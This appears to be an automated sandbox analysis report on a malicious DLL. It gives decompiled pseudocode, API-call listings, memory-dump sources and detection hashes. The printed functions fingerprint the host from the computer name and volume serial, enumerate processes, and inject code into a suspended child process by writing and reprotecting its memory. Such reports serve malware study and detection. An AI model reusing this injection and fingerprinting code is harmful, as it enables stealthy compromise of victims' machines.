				_t27 = E6CE695C2(_t44, 0xa88);
				_v16 = _t27;
				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E6CE685B6( &_v16);
				_t33 = E6CE6C3D4(_t43);
				E6CE69621( &(_t43[E6CE6C3D4(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E6CE6C3D4(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E6CE6D442(_t43, E6CE6C3D4(_t43) + _t40, 0);
			}

0x6ce6b7ea
0x6ce6b7f3
0x6ce6b7ff
0x6ce6b805
0x6ce6b807
0x6ce6b80f
0x6ce6b822
0x6ce6b831
0x6ce6b83c
0x6ce6b849
0x6ce6b863
0x6ce6b868
0x6ce6b86a
0x6ce6b871
0x6ce6b881
0x6ce6b892
0x6ce6b89c
0x6ce6b8a4
0x6ce6b8ab
0x6ce6b8ae
0x6ce6b8cb

APIs

memset.MSVCRT ref: 6CE6B807
GetComputerNameW.KERNEL32(?,?,74EC17D9,00000000,74EC11C0), ref: 6CE6B822
lstrcpynW.KERNEL32(?,?,00000100), ref: 6CE6B831
GetVolumeInformationW.KERNEL32(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 6CE6B863

Part of subcall function 6CE69621: _vsnwprintf.MSVCRT ref: 6CE6963E

lstrcatW.KERNEL32 ref: 6CE6B89C
CharUpperBuffW.USER32(?,00000000), ref: 6CE6B8AE

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: BuffCharComputerInformationNameUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 3410906232-0
Opcode ID: 2a200fe70cc3650c787aab2b63afb3ecabc15ae39967225c04c973829db34ae0
Instruction ID: c939a7f46856810cc0826f3678361be60a924653720b93e347a4c51948d8d901
Opcode Fuzzy Hash: 2a200fe70cc3650c787aab2b63afb3ecabc15ae39967225c04c973829db34ae0
Instruction Fuzzy Hash: 9221B8B2A40218BFDB10DBA5CC49FEE77BCEB45214F2040A9F501E3680EA746E08C770

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6ABE5, Relevance: 7.6, APIs: 5, Instructions: 65
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE6ABE5(intOrPtr __ecx, void* __edx) {
				void* _v304;
				void* _v308;
				signed int _t14;
				signed int _t15;
				void* _t22;
				intOrPtr _t28;
				void* _t31;
				intOrPtr _t33;
				void* _t40;
				void* _t42;

				_t33 = __ecx;
				_t31 = __edx; // executed
				_t14 = CreateToolhelp32Snapshot(2, 0);
				_t42 = _t14;
				_t15 = _t14 | 0xffffffff;
				if(_t42 != _t15) {
					memset( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t42,  &_v304) != 0) {
						while(1) {
							_t22 = E6CE6CD02(_t33,  &_v308, _t31); // executed
							_t40 = _t22;
							if(_t40 == 0) {
								break;
							}
							_t33 =  *0x6ce7e684; // 0x65faa0
							if(Process32Next(_t42,  &_v308) != 0) {
								continue;
							}
							break;
						}
						CloseHandle(_t42);
						_t15 = 0 | _t40 == 0x00000000;
					} else {
						_t28 =  *0x6ce7e684; // 0x65faa0
						 *((intOrPtr*)(_t28 + 0x30))(_t42);
						_t15 = 0xfffffffe;
					}
				}
				return _t15;
			}

0x6ce6abe5
0x6ce6abfd
0x6ce6abff
0x6ce6ac02
0x6ce6ac04
0x6ce6ac09
0x6ce6ac18
0x6ce6ac20
0x6ce6ac34
0x6ce6ac44
0x6ce6ac4a
0x6ce6ac4f
0x6ce6ac55
0x00000000
0x00000000
0x6ce6ac57
0x6ce6ac68
0x00000000
0x00000000
0x00000000
0x6ce6ac68
0x6ce6ac70
0x6ce6ac77
0x6ce6ac36
0x6ce6ac36
0x6ce6ac3c
0x6ce6ac41
0x6ce6ac41
0x6ce6ac34
0x6ce6ac80

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000011,?,00000010), ref: 6CE6ABFF
memset.MSVCRT ref: 6CE6AC18
Process32First.KERNEL32(00000000,?), ref: 6CE6AC2F
Process32Next.KERNEL32(00000000,?), ref: 6CE6AC63
CloseHandle.KERNEL32(00000000), ref: 6CE6AC70

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32memset
String ID:
API String ID: 1267121359-0
Opcode ID: 6d52a432f75e70c7f38f2ca1eb4558b627ee1d3d58cbeb110e5bde8ea2062d13
Instruction ID: 8d5370c9006b3435d09a80508bc1814a22dd9bbbf8df710423022cb0889a1efc
Opcode Fuzzy Hash: 6d52a432f75e70c7f38f2ca1eb4558b627ee1d3d58cbeb110e5bde8ea2062d13
Instruction Fuzzy Hash: A211E3727446216FD710DAA9CC48E9B3BBCEF86768F250629F520C7680EB20D805C7E6

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6E1FE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35
libraryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E6CE6E1FE(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E6CE695A8(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0x7c3) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E6CE6E1B3(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				_t4 =  &_v8; // 0x6ce6604e
				E6CE685A3(_t4);
				return _t25;
			}

0x6ce6e201
0x6ce6e204
0x6ce6e20a
0x6ce6e20c
0x6ce6e211
0x6ce6e213
0x6ce6e21d
0x6ce6e21e
0x6ce6e22d
0x6ce6e220
0x6ce6e220
0x6ce6e220
0x6ce6e231
0x6ce6e238
0x6ce6e23e
0x6ce6e23e
0x6ce6e240
0x6ce6e243
0x6ce6e24e

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000001,?,6CE7BA20), ref: 6CE6E220
LoadLibraryA.KERNEL32(00000000,00000000,00000001,?,6CE7BA20), ref: 6CE6E22D

Strings

N`l, xrefs: 6CE6E240

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: N`l
API String ID: 4133054770-1221830711
Opcode ID: 55ea723de54c4fcc5c8bf1f302a37db8327931f3db2c86af8e246eefbe8eb1d7
Instruction ID: 25c4c61972f2cd929ec900965ca0f497795478c0a5258478057a8124ce65988d
Opcode Fuzzy Hash: 55ea723de54c4fcc5c8bf1f302a37db8327931f3db2c86af8e246eefbe8eb1d7
Instruction Fuzzy Hash: ADF08232750114AFA7049BAEEC848DAB3FD9B95258734402AF405D7B80DAB0EE4086E0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6CA67, Relevance: 4.6, APIs: 3, Instructions: 120
threadCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6CE6CA67(intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v36;
				char _v40;
				char _v80;
				char _t37;
				intOrPtr _t38;
				void* _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t54;
				intOrPtr _t57;
				long _t61;
				intOrPtr _t62;
				signed int _t65;
				signed int _t68;
				signed int _t82;
				void* _t85;
				char _t86;

				_v8 = _v8 & 0x00000000;
				_v20 = __edx;
				_t65 = 0;
				_t37 = E6CE6C93F( &_v8);
				_t86 = _t37;
				_v24 = _t86;
				_t87 = _t86;
				if(_t86 == 0) {
					return _t37;
				}
				_t38 =  *0x6ce7e688; // 0x5e0590
				_t7 = _t38 + 0xac; // 0x54f86e2e
				E6CE6A8AF( &_v80,  *_t7 + 7, _t87);
				_t82 = _v8;
				_t68 = 0;
				_v16 = 0;
				if(_t82 == 0) {
					L20:
					E6CE685FB( &_v24, 0);
					return _t65;
				}
				while(_t65 == 0) {
					while(_t65 == 0) {
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t45 = E6CE6AEA8( *((intOrPtr*)(_t86 + _t68 * 4)),  &_v40); // executed
						_t92 = _t45;
						if(_t45 >= 0) {
							_t54 = E6CE6CBB9(E6CE65CCD,  &_v40, _t92, _v20); // executed
							if(_t54 != 0) {
								_t57 =  *0x6ce7e684; // 0x65faa0
								_t85 =  *((intOrPtr*)(_t57 + 0xc4))(0, 0, 0,  &_v80);
								if(_t85 != 0) {
									GetLastError();
									_t61 = ResumeThread(_v36);
									_t62 =  *0x6ce7e684; // 0x65faa0
									if(_t61 != 0) {
										_push(0xea60);
										_push(_t85);
										if( *((intOrPtr*)(_t62 + 0x2c))() == 0) {
											_t65 = _t65 + 1;
										}
										_t62 =  *0x6ce7e684; // 0x65faa0
									}
									CloseHandle(_t85);
								}
							}
						}
						if(_v40 != 0) {
							if(_t65 == 0) {
								_t52 =  *0x6ce7e684; // 0x65faa0
								 *((intOrPtr*)(_t52 + 0x104))(_v40, _t65);
							}
							_t48 =  *0x6ce7e684; // 0x65faa0
							 *((intOrPtr*)(_t48 + 0x30))(_v36);
							_t50 =  *0x6ce7e684; // 0x65faa0
							 *((intOrPtr*)(_t50 + 0x30))(_v40);
						}
						_t68 = _v16;
						_t47 = _v12 + 1;
						_v12 = _t47;
						if(_t47 < 2) {
							continue;
						} else {
							break;
						}
					}
					_t82 = _v8;
					_t68 = _t68 + 1;
					_v16 = _t68;
					if(_t68 < _t82) {
						continue;
					} else {
						break;
					}
					do {
						goto L19;
					} while (_t82 != 0);
					goto L20;
				}
				L19:
				E6CE685FB(_t86, 0xfffffffe);
				_t86 = _t86 + 4;
				_t82 = _t82 - 1;
			}

0x6ce6ca6d
0x6ce6ca76
0x6ce6ca79
0x6ce6ca7b
0x6ce6ca80
0x6ce6ca82
0x6ce6ca85
0x6ce6ca87
0x6ce6cbb8
0x6ce6cbb8
0x6ce6ca8d
0x6ce6ca96
0x6ce6ca9f
0x6ce6caa4
0x6ce6caa7
0x6ce6caa9
0x6ce6caae
0x6ce6cba5
0x6ce6cbab
0x00000000
0x6ce6cbb4
0x6ce6cab4
0x6ce6cabf
0x6ce6cacc
0x6ce6cad0
0x6ce6cad1
0x6ce6cad2
0x6ce6cad6
0x6ce6cadb
0x6ce6cadd
0x6ce6caea
0x6ce6caf2
0x6ce6cafd
0x6ce6cb08
0x6ce6cb0c
0x6ce6cb0e
0x6ce6cb1c
0x6ce6cb24
0x6ce6cb29
0x6ce6cb2b
0x6ce6cb30
0x6ce6cb36
0x6ce6cb38
0x6ce6cb38
0x6ce6cb39
0x6ce6cb39
0x6ce6cb3f
0x6ce6cb3f
0x6ce6cb0c
0x6ce6caf2
0x6ce6cb46
0x6ce6cb4a
0x6ce6cb4c
0x6ce6cb55
0x6ce6cb55
0x6ce6cb5b
0x6ce6cb63
0x6ce6cb66
0x6ce6cb6e
0x6ce6cb6e
0x6ce6cb74
0x6ce6cb77
0x6ce6cb78
0x6ce6cb7e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6cb7e
0x6ce6cb84
0x6ce6cb87
0x6ce6cb88
0x6ce6cb8d
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6cb93
0x00000000
0x00000000
0x00000000
0x6ce6cb93
0x6ce6cb93
0x6ce6cb96
0x6ce6cb9c
0x6ce6cba0

APIs

Part of subcall function 6CE6AEA8: memset.MSVCRT ref: 6CE6AEC7
Part of subcall function 6CE6AEA8: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6CE6AEE7

Part of subcall function 6CE6CBB9: memset.MSVCRT ref: 6CE6CBFA
Part of subcall function 6CE6CBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6CE6CC64
Part of subcall function 6CE6CBB9: NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6CE6CC81
Part of subcall function 6CE6CBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6CE6CCA2
Part of subcall function 6CE6CBB9: FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6CE6CCB5

GetLastError.KERNEL32(?,00000001), ref: 6CE6CB0E
ResumeThread.KERNEL32(?,?,00000001), ref: 6CE6CB1C
CloseHandle.KERNEL32(00000000,?,00000001), ref: 6CE6CB3F

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$Protectmemset$CloseCreateErrorFreeHandleLastLibraryProcessResumeThreadWrite
String ID:
API String ID: 1274669455-0
Opcode ID: abad78ba16b94b22841c9690eacedf2e79968e971eda7a9c37f0ac6f0a5d09c0
Instruction ID: af1e3d88ed6c1477b5654695eb024a6261f4f3a15308d95a8c873d64b4dee0c1
Opcode Fuzzy Hash: abad78ba16b94b22841c9690eacedf2e79968e971eda7a9c37f0ac6f0a5d09c0
Instruction Fuzzy Hash: B741CE32B50614AFDF01EFAAC984AED77B9AF49318F2104A9E505E7B50DB309D05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6B9DA, Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE6B9DA(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E6CE685E5(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E6CE685FB( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

0x6ce6b9dd
0x6ce6b9de
0x6ce6b9e5
0x6ce6b9ed
0x6ce6b9f1
0x6ce6b9fa
0x6ce6ba40
0x6ce6ba40
0x6ce6ba07
0x6ce6ba0f
0x6ce6ba11
0x6ce6ba17
0x6ce6ba30
0x00000000
0x6ce6ba32
0x6ce6ba37
0x00000000
0x6ce6ba3d
0x6ce6ba19
0x6ce6ba19
0x6ce6ba19
0x6ce6ba19
0x6ce6ba17
0x6ce6ba46

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6CE60000,00000000,00000000,?,6CE6BA79,?,00000000,?,6CE6D0EA), ref: 6CE6B9F5
GetLastError.KERNEL32(?,6CE6BA79,?,00000000,?,6CE6D0EA), ref: 6CE6B9FC

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,6CE6BA79,?,00000000,?,6CE6D0EA), ref: 6CE6BA2B

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationToken$AllocErrorHeapLast
String ID:
API String ID: 4258577378-0
Opcode ID: 545c9300ac8270a802f8ea6550e61ed957737448b2e964c66ec1ea8445d69c40
Instruction ID: ec4f6db72f68e6bc31b155678d583aaee6f181409ef95dd9f27a9622bb0b88fb
Opcode Fuzzy Hash: 545c9300ac8270a802f8ea6550e61ed957737448b2e964c66ec1ea8445d69c40
Instruction Fuzzy Hash: 6E016772B54114BF97219AA7DC48DCB7FBCDB467A87210656F505D7A00E630DD00D7B0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6AEA8, Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6CE6AEA8(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;
				WCHAR* _t15;
				int _t19;
				struct _PROCESS_INFORMATION* _t20;

				_t20 = __edx;
				_t15 = __ecx;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t19 = 0x44;
				memset( &_v72, 0, _t19);
				_v72.cb = _t19;
				_t11 = CreateProcessW(0, _t15, 0, 0, 0, 4, 0, 0,  &_v72, _t20);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

0x6ce6aeb1
0x6ce6aeb7
0x6ce6aebb
0x6ce6aebc
0x6ce6aebd
0x6ce6aebe
0x6ce6aec2
0x6ce6aec7
0x6ce6aecf
0x6ce6aee7
0x6ce6aeed
0x6ce6aef5

APIs

memset.MSVCRT ref: 6CE6AEC7
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6CE6AEE7

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateProcessmemset
String ID:
API String ID: 2296119082-0
Opcode ID: bafa49f00692263075f47157cceee35635c7db16ad33d4724c8c9cc7159c3e59
Instruction ID: a9eaca24de8c118c4f84cbbadf013c9e9150d2d56dec03f1057ca40bbc09c4fa
Opcode Fuzzy Hash: bafa49f00692263075f47157cceee35635c7db16ad33d4724c8c9cc7159c3e59
Instruction Fuzzy Hash: 00F01CF26045187FF760D9ADDC4AEBBB6ECDB89664F100532BA05D6190E560AD0582B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6CD02, Relevance: 2.5, APIs: 2, Instructions: 48
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE6CD02(void* __ecx, intOrPtr _a4, signed int _a8) {
				CHAR* _v8;
				int _t28;
				signed int _t31;
				signed int _t34;
				signed int _t35;
				void* _t38;
				signed int* _t41;

				_t41 = _a8;
				_t31 = 0;
				if(_t41[1] > 0) {
					_t38 = 0;
					do {
						_t3 =  &(_t41[2]); // 0xe6840d8b
						_t34 =  *_t3;
						_t35 = 0;
						_a8 = 0;
						if( *((intOrPtr*)(_t38 + _t34 + 8)) > 0) {
							_v8 = _a4 + 0x24;
							while(1) {
								_t28 = lstrcmpiA(_v8,  *( *((intOrPtr*)(_t38 + _t34 + 0xc)) + _t35 * 4));
								_t14 =  &(_t41[2]); // 0xe6840d8b
								_t34 =  *_t14;
								if(_t28 == 0) {
									break;
								}
								_t35 = _a8 + 1;
								_a8 = _t35;
								if(_t35 <  *((intOrPtr*)(_t34 + _t38 + 8))) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t41 =  *_t41 |  *(_t34 + _t38);
						}
						L8:
						_t31 = _t31 + 1;
						_t38 = _t38 + 0x10;
						_t20 =  &(_t41[1]); // 0x1374ff85
					} while (_t31 <  *_t20);
				}
				Sleep(0xa);
				return 1;
			}

0x6ce6cd08
0x6ce6cd0b
0x6ce6cd10
0x6ce6cd13
0x6ce6cd15
0x6ce6cd15
0x6ce6cd15
0x6ce6cd18
0x6ce6cd1a
0x6ce6cd21
0x6ce6cd29
0x6ce6cd2c
0x6ce6cd36
0x6ce6cd3c
0x6ce6cd3c
0x6ce6cd41
0x00000000
0x00000000
0x6ce6cd46
0x6ce6cd47
0x6ce6cd4e
0x00000000
0x00000000
0x6ce6cd50
0x00000000
0x6ce6cd4e
0x6ce6cd55
0x6ce6cd55
0x6ce6cd57
0x6ce6cd57
0x6ce6cd58
0x6ce6cd5b
0x6ce6cd5b
0x6ce6cd60
0x6ce6cd68
0x6ce6cd74

APIs

lstrcmpi.KERNEL32(?,?,00000128,00000000,?,?,?,6CE6AC4F,?,?), ref: 6CE6CD36
Sleep.KERNEL32(0000000A,00000000,?,?,?,6CE6AC4F,?,?), ref: 6CE6CD68

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleeplstrcmpi
String ID:
API String ID: 1261054337-0
Opcode ID: fe05cd4925337677bc2f885675a73f038af02afa2b3a4aa9f921d4e15df1e1ef
Instruction ID: cd0ebee43368aaf085084b58ef63502c850e66776f6818c2e948d7c1af9a1776
Opcode Fuzzy Hash: fe05cd4925337677bc2f885675a73f038af02afa2b3a4aa9f921d4e15df1e1ef
Instruction Fuzzy Hash: 6B018031610615AFDB14DF6AC884956BBF5FF85328721C069E4698BA11D330E942CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE65E77, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE65E77() {
				intOrPtr _t3;

				_t3 =  *0x6ce7e684; // 0x65faa0
				 *((intOrPtr*)(_t3 + 0x2c))( *0x6ce7e6a8, 0xffffffff);
				ExitProcess(0);
			}

0x6ce65e77
0x6ce65e84
0x6ce65e8e

APIs

ExitProcess.KERNEL32(00000000), ref: 6CE65E8E

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 31ab6fe0dd8ce69b122c80a6ee10e722c2abd5a80084c26634332e1369aa4577
Instruction ID: c94421d334d5f7b6de9ec18b2728eb6abbb70e2af47f01839fe69e2dae6786ae
Opcode Fuzzy Hash: 31ab6fe0dd8ce69b122c80a6ee10e722c2abd5a80084c26634332e1369aa4577
Instruction Fuzzy Hash: 3EC00271315421AFDE42DBE4C948F8477B1AB1A722F1242A1F5259B1E6CA309800DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE685D0, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE685D0() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x6ce7e768 = _t1;
				return _t1;
			}

0x6ce685d9
0x6ce685df
0x6ce685e4

APIs

HeapCreate.KERNEL32(00000000,00080000,00000000,6CE65F88), ref: 6CE685D9

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 30c28937afa29c267797816cf57b47eb4020a759b2c39928952bef1bbdd6bfed
Instruction ID: 1a2697f23c466510fa43f4bdaaccc6b13aca8d6a4aa557175f4092c253dfa12a
Opcode Fuzzy Hash: 30c28937afa29c267797816cf57b47eb4020a759b2c39928952bef1bbdd6bfed
Instruction Fuzzy Hash: 16B01270780710DAFA619B204C0AB003570A301B06F300002F7046D1C4C6B01000CE34

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CE6DB7E, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6CE6DB7E(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E6CE6D565(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E6CE685E5(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E6CE685FB( &_v60, 0xfffffffe);
					E6CE6D619( &_v104);
					return _t320;
				}
				_t165 = E6CE695C2(_t255, 0x536);
				 *_t328 = 0x609;
				_v52 = _t165;
				_t166 = E6CE695C2(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E6CE692C6(_t165);
				_v60 = _t322;
				E6CE685B6( &_v52);
				E6CE685B6( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E6CE695C2(_t255, 0x9e4);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E6CE685B6( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E6CE685FB( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E6CE691C4(_v100);
